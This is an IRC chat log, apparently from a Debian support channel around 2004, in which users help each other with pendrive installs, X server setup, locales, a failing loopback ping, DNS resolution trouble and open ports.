| 23:27.10 | dondelelcaro | krix: if your bios supports it, its just like booting off of any other device. |
| 23:27.17 | lazarus | ignore that ^^ |
| 23:27.32 | Ryuujin | wasabi: yes, i did. But it didn't install properly |
| 23:27.39 | wasabi | Then you don't have the right device. |
| 23:27.48 | wasabi | check dmesg |
| 23:27.55 | Ryuujin | hmm... |
| 23:27.57 | Ryuujin | good idea.. |
| 23:28.09 | krix | dondelelcaro, yep. but how to instlal debian on a pendrive ? :) woody cds 'support' this thing ? Or first try to load some kernel modules on the "installer" ? :) |
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| 23:28.14 | Ryuujin | now why didn't i think of that.. *bangs his head against the monitor* |
| 23:28.28 | Ryuujin | stewpid me. |
| 23:28.45 | wasabi | haha |
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| 23:29.40 | Justin_ | krix: do you already have debian installed somewhere? |
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| 23:29.53 | wasabi | krix, use debootstrap |
| 23:29.57 | matte | no one can tell me how to configure the locales again_ |
| 23:30.04 | wasabi | dpkg-reconfigure locale |
| 23:30.04 | krix | Justin_, yep. many. :) btw on a pendrive, never. :) |
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| 23:30.15 | Justin_ | krix: yeah, then use debootstrap |
| 23:30.20 | fatal__ | matte: no, but there is a program called dpkg-reconfigure |
| 23:30.28 | hyksos | does someone know a good os only for multimedia? linux-based |
| 23:30.35 | Justin_ | also, I think you can find premade images for those things, I think damnsmalllinux has one |
| 23:30.35 | matte | thanks >( |
| 23:30.35 | wasabi | hyksos, linux. |
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| 23:31.15 | hyksos | wasabi :os, linux is the kernel |
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| 23:31.15 | wasabi | GNU/Linux., :) |
| 23:31.15 | krix | Justin_, yep. Thx. I found some "howto" for damnsmalllinux |
| 23:31.34 | matte | hmm it says it\s not fully installed somehow |
| 23:32.47 | spuer | One question, why doesn't Debian use Mach kernel (i.e., the Gnu Darwin) instead of Linux? I think Mach is quite stable, maybe I am wrong? |
| 23:32.47 | wasabi | Uh |
| 23:32.57 | wasabi | That question doesnt' deserve an answer. |
| 23:33.06 | spuer | okay |
| 23:33.10 | spuer | :) |
| 23:33.22 | wasabi | google for debian/hurd |
| 23:33.38 | wasabi | there is absolutly no support for anything. |
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| 23:33.44 | linux | hi |
| 23:33.52 | spuer | hm...Hurd's moving to L4's implementation. Maybe I am wrong too? |
| 23:34.41 | tarzeau | spuer: no no |
| 23:34.46 | tarzeau | can't wait to see that |
| 23:34.47 | spuer | debian/hurd kernel is not as quite stable as the Gnu Darwin. |
| 23:34.49 | tarzeau | #hurd |
| 23:34.51 | linux | i have debian installed but not packages added? now its only text, how i can make a gui? |
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| 23:35.09 | linux | that i can startx or kdm |
| 23:35.10 | wasabi | install an X server |
| 23:35.16 | linux | how? |
| 23:35.19 | wasabi | using apt-get. |
| 23:35.21 | spuer | linux, apt-get update and apt-get install whatever you like |
| 23:35.42 | linux | ok thx |
| 23:35.44 | spuer | apt-get updates. |
| 23:35.48 | linux | i have already install |
| 23:35.52 | elmig | one thing i dont like in Debian Project, Bug Tracking Policy - or the missing policy |
| 23:35.52 | linux | and have install packages |
| 23:35.59 | linux | then i have must configure much things |
| 23:36.10 | spuer | hm...the answer is yes. |
| 23:36.14 | linux | and when i type startx it make a fatal error |
| 23:36.20 | spuer | such as the Xwindow system. |
| 23:36.21 | linux | what i must configure righT? |
| 23:36.26 | elmig | i just laugh reading some bug reports |
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| 23:36.43 | spuer | linux, are you new to Debian? |
| 23:36.47 | tarzeau | linux: www.linuks.mine.nu/workstation/ |
| 23:36.47 | linux | yes |
| 23:36.49 | wasabi | linux are you new to linux? |
| 23:36.59 | elmig | open bugs with 6, 7, 8 years... thats ugly |
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| 23:37.08 | tarzeau | elmig: you can send patches! |
| 23:37.23 | trans_err | i figured it out! Xscreensaver was bringing down my system |
| 23:37.24 | tarzeau | elmig: what's better, to close a "bug" that's not really closed? |
| 23:37.26 | linux | thx tareau |
| 23:37.30 | elmig | patches? where's the policy? |
| 23:37.40 | tarzeau | elmig: #debian-bugs |
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| 23:37.44 | spuer | try www.debianplanet.org and find some info. about Debian before you do something else. |
| 23:37.49 | tarzeau | elmig: www.debian.org/devel and bugs.debian.org |
| 23:37.54 | Kraig | trans_err what do you mean? |
| 23:37.54 | tarzeau | elmig: also man reportbug |
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| 23:38.20 | trans_err | Kraig: i couldn't figure out why everytime i left my system it would hard freeze... it was xscreensaver |
| 23:38.29 | Kraig | lol |
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| 23:38.42 | linux | im now here with suse liveval, can i install x server to the hd install of debian? |
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| 23:39.00 | tarzeau | linux: no |
| 23:39.06 | elmig | http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=project |
| 23:39.09 | tarzeau | linux: give that suse cd to the neighbor |
| 23:39.14 | trans_err | linux: you need a debian install disk |
| 23:39.15 | elmig | # 5 years and 25 days old. |
| 23:39.16 | elmig | # #31581: project: Time between releases is too long |
| 23:39.21 | elmig | lol |
| 23:39.22 | tarzeau | linux: download debian from www.linuxiso.org the first cd, NONUS |
| 23:39.35 | trans_err | linux: or do a netisnt |
| 23:39.44 | linux | i have already installed debian |
| 23:39.45 | spuer | linux....I have a very good advice, if you don't mind. Mandrake and RH are a very good for the new user like you. You'd better try those distros. |
| 23:39.52 | trans_err | has anyone used the new anaconda based installer? |
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| 23:39.58 | trans_err | spuer: i disagree |
| 23:40.08 | spuer | Why? |
| 23:40.09 | Kawfee | tarzeau, yo! |
| 23:40.26 | tarzeau | Kawfee: i will sleep now |
| 23:40.30 | tarzeau | and i will have dreams |
| 23:40.35 | Kawfee | tarzeau, no |
| 23:40.38 | Kawfee | tarzeau, wait!@ |
| 23:40.45 | trans_err | spuer: i really don't find the isntall (especially the new sarge install) dramatically different (except asthetics) from the RH or SUSE installs... |
| 23:40.45 | Kawfee | you can't leave now, I just got back |
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| 23:40.59 | trans_err | spuer: mandrake as well |
| 23:41.05 | spuer | Okay, linux is new to linux and debian. I have some words for him before he can actually try Debian. |
| 23:41.21 | neimod | hi, im having a very weird problem with debian sarge, I cannot ping 127.0.0.1 (local loopback device) |
| 23:41.30 | tarzeau | Kawfee: i wait |
| 23:41.40 | Kawfee | tarzeau, ok, you can go now |
| 23:41.43 | icecold | neimod: can you ping localhost? |
| 23:41.44 | tarzeau | Kawfee: did you ever register on www.linuks.mine.nu/debian-worldmap/ ? |
| 23:41.52 | spuer | hey....is sarge going to release sometime soon? |
| 23:42.01 | neimod | icecold : no |
| 23:42.04 | greycat | !sarge pool |
| 23:42.04 | dpkg | Place your bets on when sarge will become stable! croddy=2004-02-14 ghakko=2004-04-20 CompWizrd=103-12-25 deadcat=2005-08-16 beta3=2004-04-15 peterS=2004-05-01 gnupg=2004-01-01 DelEat=2004-04-02 nevyn=2004-03-20 Shay=2004-03-28 streuner=2004-02-29 greycat=2004-03-01 Justin_=WIR simonrvn=2004-03-15 rw-rw-r--=2004-04-22 Jawoota=2004-02-01, or Anthro=2004-03-21, or see "sarge bet" for how to add yours |
| 23:42.12 | Kawfee | tarzeau, of course not. If I registed then you wouldn't ask me to register all the time. It's a conversation started. =] |
| 23:42.16 | icecold | neimod: check /etc/hosts file |
| 23:42.16 | greycat | CompWizrd just lost. |
| 23:42.22 | Kawfee | greycat, I have food! |
| 23:42.28 | neimod | icecold : ? |
| 23:42.36 | Kraig | neimod look at that file |
| 23:42.39 | Kawfee | now, just to get the food to work |
| 23:42.40 | trans_err | spuer: once inside apt-get is much easier (IMO) to understand (and install sane packages) then the lack of a solid repository under any major commerical OS... My girlfriend completely new to linux (after a bit of coaching) installed debian (over her old RH install) and found apt-get much less frustrating |
| 23:42.42 | icecold | neimod: cat /etc/hosts and see what is in it. |
| 23:42.43 | tarzeau | i want to bet too! for sarge, how? |
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| 23:42.57 | Kawfee | tarzeau, ? |
| 23:43.00 | greycat | tarzeau: you never learned how to use =~ s/// ? |
| 23:43.02 | Tize | All: I'm having a little prob on my Sarge system: On graphical login I see no text (missing font?) also: on programs like bbconf (i run blackbox) show the same symptoms |
| 23:43.02 | neimod | icecold:127.0.0.1 debian localhost |
| 23:43.10 | trans_err | tarzeau: send me $5 and ill put you in the pool :D |
| 23:43.18 | Kraig | lol |
| 23:43.23 | tarzeau | i think it'll be on 29.03.2004 |
| 23:43.23 | icecold | neimod: do you have iptables setup? |
| 23:43.31 | Kraig | neimod try ping 0 |
| 23:43.31 | spuer | lol |
| 23:43.34 | neimod | icecold: i dont think so |
| 23:43.41 | tarzeau | trans_err: do you take alternative paying methods? |
| 23:43.49 | neimod | ping: invalid argument |
| 23:43.49 | icecold | neimod: do a iptables -L as root and see what it says |
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| 23:43.55 | trans_err | tarzeau: hehe, it was a joke |
| 23:43.57 | linux | other question |
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| 23:44.00 | Kawfee | ~pee on fhffhqvb |
| 23:44.03 | | ACTION pees on fhffhqvb |
| 23:44.03 | linux | can i install only windowmaker? |
| 23:44.08 | trans_err | tarzeau: i take credit cards :D |
| 23:44.08 | tarzeau | linux: sure |
| 23:44.12 | icecold | neimod: invalid arg is what it says? |
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| 23:44.16 | spuer | yes, you can. |
| 23:44.23 | neimod | modprobe: can't locate module ip_tables |
| 23:44.33 | tarzeau | trans_err: i have TEH +5 blessed credit card |
| 23:44.40 | linux | okay i try it |
| 23:44.41 | trans_err | tarzeau: perfect! |
| 23:44.42 | icecold | neimod: not modprobe....! |
| 23:44.43 | linux | thx for help |
| 23:44.50 | spuer | welcome |
| 23:44.54 | Kraig | icecold: hi don't have a firewall |
| 23:45.04 | Kraig | *he |
| 23:45.04 | icecold | Kraig: congrats |
| 23:45.08 | Kraig | sorry |
| 23:45.13 | Kraig | so why iptables? |
| 23:45.19 | neimod | iptables v1.2.9: can't initialise iptables table 'filter': iptables who? (do you perhaps need insmod?) |
| 23:45.22 | Sytone | Question: I have my network setup aftering making some code changes to the eepro100.c I can ping ips and us nslookup to resolve domains but i cannot ping domains... huh??? |
| 23:45.40 | cafuego | Sytone: Of course you can't ping domains. |
| 23:45.51 | Sytone | but it should be resolveing.. |
| 23:45.53 | matte | anyone know a nice site for games to linux_ |
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| 23:45.57 | Sytone | or am I just to tired |
| 23:46.00 | cafuego | Sytone: a domain is not a hostname. |
| 23:46.23 | Tize | All: I'm having a little prob on my Sarge system: On graphical login I see no text (missing font?) also: programs like bbconf (i run blackbox) show the same symptoms |
| 23:46.29 | tpk_ | Sytone: huh? what do you mean can't ping domains? you can only communicate with hosts, that someone may have set up their zonefile to have a "null" hostname that you can ping (or whatever) is inconsequential |
| 23:46.37 | Kawfee | maybe he means domain name |
| 23:46.43 | Sytone | what he said.. |
| 23:46.47 | neimod | eth0 is working ok, and ifconfig tells me 'lo' exists and is running |
| 23:46.50 | Sytone | is ping www.domain.com |
| 23:46.55 | neimod | but pinging fails |
| 23:47.05 | neimod | *pinging it |
| 23:47.11 | cafuego | Sytone: Yes. |
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| 23:47.25 | cafuego | Sytone: Which actual host are you pinging? |
| 23:47.25 | Kraig | neimod: does it says something else? |
| 23:47.36 | neimod | Kraig: what does? |
| 23:47.46 | Kraig | neimod: pinging 127.0.0.1 |
| 23:48.14 | Sytone | cafuego: any of them. It will not resolve a domain name to a ip address. which mean apt, etc will not resolve domain names to IPs |
| 23:48.30 | lazarus | what pacakge is man strftime in? i don't have it here |
| 23:48.31 | cafuego | Sytone: check /etc/resolv.conf |
| 23:48.34 | neimod | Kraig: it says ping 127.0.0.1 (127.0.0.1) 56(84) bytes of data |
| 23:48.37 | neimod | thats about it |
| 23:48.40 | cafuego | lazarus: manpages-dev |
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| 23:49.12 | Sytone | I have it has nameserver xxx.xxx.xxx.xxx (where xxx is the dns entry for my network, which works with my other pcs, which are windows based) |
| 23:49.14 | Kraig | neimod: try ping 0 |
| 23:49.25 | neimod | it says: ping: invalid argument |
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| 23:49.51 | Kraig | neimod: it's supossed to ping the loopback |
| 23:50.01 | Sytone | if i uscafuego: is i use nes lookup i can lookup a domain and it goves back the ip information.. that part has me puzzled |
| 23:50.03 | lazarus | cafuego: bizarre that i would not have that on this compile box |
| 23:50.09 | Flimzy | Is there an easy way to automatically mount/unmount a USB hard drive when it is plugged in? |
| 23:50.10 | Kraig | neimod: look at /etc/network/interfaces |
| 23:50.10 | hackeron | how do I redirect output to multiple files? like echo something >> file1,file2 ? |
| 23:50.13 | lazarus | cafuego: thanks though |
| 23:50.27 | deadcat | hackeron: tee |
| 23:50.33 | cafuego | lazarus: it's not installed by default |
| 23:50.50 | Sytone | cafuego: I can ping any ip on the internet without a problem so the networking seems ok its just the DNS resolution |
| 23:50.50 | neimod | Kraig: looks normal in there |
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| 23:50.57 | lazarus | cafuego: i'm just surprised i hadn't noticed the omission before |
| 23:50.59 | hackeron | deadcat, ok, thanks |
| 23:51.06 | icecold | Kraig: Why do you have some many ports open? |
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| 23:51.18 | Kraig | icecold: what do you mean? |
| 23:52.02 | icecold | Kraig: you have ssh, telnet, domain, html, smux, https all open. |
| 23:52.11 | Kraig | icecold: so what? |
| 23:52.28 | neimod | when you type $ ifconfig lo , is lo supposed to have an 'inet-addr' ? |
| 23:52.31 | icecold | Kraig: and why do you you use telnet? |
| 23:52.32 | Kawfee | troubled, where are you? |
| 23:52.33 | tpk_ | icecold: i have quite a few open myself, because i use them |
| 23:52.43 | Sytone | cafuego: any ideas? |
| 23:52.53 | Kraig | icecold: where am i using telnet? |
| 23:52.54 | tpk_ | icecold: tho, telnet, errr ... |
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| 23:53.18 | icecold | Kraig: telnet is open, you might want to close it in /etc/inetd |
| 23:53.35 | icecold | Kraig: unless you use it for some insecure reason |
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| 23:54.28 | Tize | nobody knows :( |
| 23:54.31 | tpk_ | Kraig: are you running portsentry perhaps? |
| 23:54.47 | Kraig | initech: what is that ? |
| 23:55.06 | neimod | i cannot ping 127.0.0.1 |
| 23:55.31 | initech | Kraig: a program which monitors portscans, but one of the things it does it make it look like you have all sorts of shit running when you don't |
| 23:55.53 | Kraig | initech: i don't know, i'll look at it |
| 23:55.56 | icecold | initech: portsentry anyone??? |
| 23:56.16 | trans_err | neimod: standard dist? |
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| 23:56.55 | Sytone | If I do a dig www.sony.com it gives me a IP of www.sony.com. And I can ping it using the IP but if i use ping www.sony.com it then gives me host unknown |
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| 23:57.03 | neimod | well thanks for the help guys |
| 23:57.03 | neimod | ... not |
| 23:57.08 | Sytone | this is sending me crazy |
| 23:57.23 | Sytone | i know I have missed something ovbious |
| 23:57.37 | initech | Sytone: whoa, something wrong there. you can resolve a name using dig, but cannot ping it by name? |
| 23:57.37 | Sytone | interfaces and resolv.conf are ok |
| 23:57.38 | trans_err | Sytone: do you have your name servers properly in place? |
| 23:57.42 | trans_err | hrmm |
| 23:57.58 | trans_err | Sytone: are you sure your IP's nameservers are okay :D |
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| 23:58.04 | Sytone | yes |
| 23:58.14 | trans_err | s/IP's/ISP's |
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| 23:58.24 | Sytone | I have confirmed on two windows machines and they are fine (otherwise I would nit be talking to you :) |
| 23:58.31 | initech | Sytone: running any name cacheing stuff? like libwresd or something? |
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| 23:59.12 | Sytone | nope... Clean debian woddy install, recompiled kernel 2.4.18 and added my NIC PCI ID to the network driver... thats it |
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| 23:59.22 | Sytone | it is really weird |
| 23:59.55 | Sytone | that is why i think i may have missed something obvious |
